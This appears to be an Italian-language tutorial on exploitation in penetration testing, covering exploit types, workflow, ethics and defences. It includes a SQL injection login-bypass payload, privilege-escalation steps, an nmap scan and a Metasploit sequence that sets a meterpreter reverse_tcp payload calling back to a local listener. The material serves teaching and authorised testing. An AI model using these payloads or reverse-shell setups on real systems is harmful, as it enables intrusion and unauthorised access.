💻 Che cos’è l’Exploitation
L’Exploitation è il processo con cui una vulnerabilità in software, sistemi o reti viene sfruttata per ottenere un comportamento non previsto o non autorizzato. In pratica, un exploit è un codice o una sequenza di azioni che, applicate a una debolezza nota, consentono accesso, esecuzione di comandi o escalation di privilegi.
🔧 A cosa serve l’Exploitation
- Verificare la reale impattualità di una vulnerabilità individuata durante un assessment.
- Dimostrare il rischio a stakeholder tecnici e non tecnici con evidenze concrete.
- Testare l’efficacia di controlli di sicurezza, monitoraggio e risposta agli incidenti.
- Formare team di sicurezza attraverso laboratori controllati e autorizzati.
⚙️ Tipologie di exploitation
Remote exploitation
- Sfrutta servizi esposti in rete senza accesso locale alla macchina target.
- Esempi: RCE su servizio web, vulnerabilità su protocolli.
Local exploitation
- Richiede accesso locale o una sessione utente sul sistema.
- Obiettivo comune: escalation di privilegi da utente a amministratore.
Client side exploitation
- Colpisce applicazioni lato utente come browser, lettori PDF, client di posta.
- Spesso veicolato tramite phishing o file malevoli.
🔍 Esempi pratici
SQL Injection di base
- Scopo: bypassare l’autenticazione o esfiltrare dati.
Payload di esempio:
' OR 1=1 --
Query vulnerabile:
SELECT \* FROM users WHERE username='\' AND password='\';
Buffer overflow concettuale
- Scopo: sovrascrivere aree di memoria per eseguire codice arbitrario.
Esempio concettuale:
Invio di input superiore alla lunghezza prevista del buffer.
Effetto: sovrascrittura del return address e deviazione del flusso di esecuzione.
Privilege escalation locale
- Scopo: ottenere diritti elevati su un sistema già accessibile.
Passi tipici:
```
1. Enumera kernel, pacchetti, permessi
2. Identifica SUID, servizi con misconfigurazioni
3. Sfrutta un exploit del kernel o di un servizio per diventare root
🛠️ Strumenti comuni
- Metasploit Framework: sviluppo, gestione e lancio di exploit con moduli pronti.
- Exploit DB: archivio pubblico di exploit e PoC.
- Nmap e script NSE: individuazione servizi e verifiche preliminari alle fasi di exploit.
- Burp Suite: individuazione e sfruttamento di vulnerabilità web.
📝 Workflow essenziale dell’Exploitation
1. Ricognizione e prioritizzazione
- Mappa superfici di attacco, servizi e versioni.
- Allinea vulnerabilità con impatto e probabilità di successo.
Esempio comando di ricognizione:
nmap -sV -p 1-10000 192.168.1.10
```
2. Sviluppo o selezione exploit
- Adatta l’exploit al target, definisci payload e condizioni di esecuzione.
Esempio con Metasploit:
```
msfconsole
use exploit/multi/http/some\_cve\_module
set RHOSTS 192.168.1.10
set RPORT 80
set PAYLOAD linux/x64/meterpreter/reverse\_tcp
set LHOST 192.168.1.50
run
```
3. Post exploitation e verifica
- Conferma l’impatto, limita la persistenza, raccogli solo evidenze autorizzate.
- Documenta risultati e raccomandazioni di remediation.
📝 Tabella riassuntiva fasi e obiettivi
| Fase | Obiettivo |
|---|---|
| Ricognizione | Raccogliere informazioni su servizi, versioni e superfici di attacco |
| Exploitation | Sfruttare la vulnerabilità con payload adeguato |
| Post exploitation | Confermare impatto, raccogliere evidenze, proporre remediation |
🛡️ Aspetti etici e legali
- Esegui test solo con autorizzazione esplicita e in ambienti controllati.
- Rispetta policy, normative e privacy durante raccolta di evidenze.
- Concorda in anticipo ambito, limiti e criteri di successo con le parti interessate.
💡 Buone pratiche di difesa
- Patch management regolare e aggiornamento software.
- Hardening di sistema e principle of least privilege.
- Segmentazione di rete e monitoraggio continuo con alert basati su comportamento.
- Test periodici di sicurezza e validazione delle remediation.